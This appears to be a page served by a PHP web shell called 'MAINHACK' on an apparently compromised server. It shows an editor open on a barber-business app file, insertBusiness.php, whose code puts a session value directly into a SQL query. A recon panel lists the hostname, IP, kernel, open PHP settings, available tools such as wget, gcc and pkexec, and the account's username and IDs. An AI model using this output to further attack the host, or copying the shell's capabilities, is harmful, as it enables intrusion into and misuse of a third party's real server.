[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: insertBusiness.php
<?php include("../auth/functions.php"); $shopname = $_SESSION['business_name_Xw211qAAsq4']; $business_name = sql_prep($_POST['business_name']); $business_name = h($_POST['business_name']); $business_name = dirty_html($_POST['business_name']); $phone = sql_prep($_POST['phone']); $phone = h($_POST['phone']); $phone = dirty_html($_POST['phone']); $location = sql_prep($_POST['location']); $location = h($_POST['location']); $location = dirty_html($_POST['location']); $email = sql_prep($_POST['email']); $email = h($_POST['email']); $email = dirty_html($_POST['email']); $password = sql_prep($_POST['password']); $password = h($_POST['password']); $password = dirty_html($_POST['password']); $select = mysqli_query($new,"SELECT * FROM barber_admin WHERE business_name = '$shopname'"); $dbmail = mysqli_fetch_array($select); $mail = $dbmail['email']; $username = $dbmail['username']; $full_name = $dbmail['full_name']; $active = $dbmail['active']; $expired = $dbmail['expired']; $account_status = $dbmail['account_status']; $forgot_pass_expire_time = $dbmail['forgot_pass_expire_time']; $db_email = $dbmail['email']; if(empty($business_name)){ echo json_encode(['status' => 'error', 'message' => 'Business name is required']); }elseif(empty($phone)){ echo json_encode(['status' => 'error', 'message' => 'Business phone number is required']); }elseif(empty($email)){ echo json_encode(['status' => 'error', 'message' => 'Business email is required']); }elseif(empty($password)){ echo json_encode(['status' => 'error', 'message' => 'Login password is required']); }elseif($email == $db_email){ echo json_encode(['status' => 'error', 'message' => 'Business already exist']); } else { $pass = password_hash($password,PASSWORD_BCRYPT, array('cost'=>12)); $validation_code = md5($email . microtime()); $account_type = "Owner"; $open_clode_time = '9:00 am - 9:00 pm'; $stmt = $con->prepare("insert into barber_admin (username,email,full_name,password,validation_code,active,forgot_pass_expire_time,phone,business_name,location,account_type,expired,open_clode_time,account_status,master_account) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); $stmt->execute(array($username,$email,$full_name,$pass,$validation_code,$active,$forgot_pass_expire_time,$phone,$business_name,$location,$account_type,$expired,$open_clode_time,$account_status,$shopname)); $checkbox_value = $_POST['checkbox_values']; $status = 0; $account_type2 = "Admin"; foreach ($checkbox_value as $value) { $query = "INSERT INTO role_permissions (page_name,status,business_name,type) VALUES (?,?,?,?)"; $stmt = mysqli_prepare($new,$query); mysqli_stmt_bind_param($stmt, "ssss", $value,$status,$business_name,$account_type2); mysqli_stmt_execute($stmt); } echo json_encode(['status' => 'success', 'message' => 'New bussniess added']); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002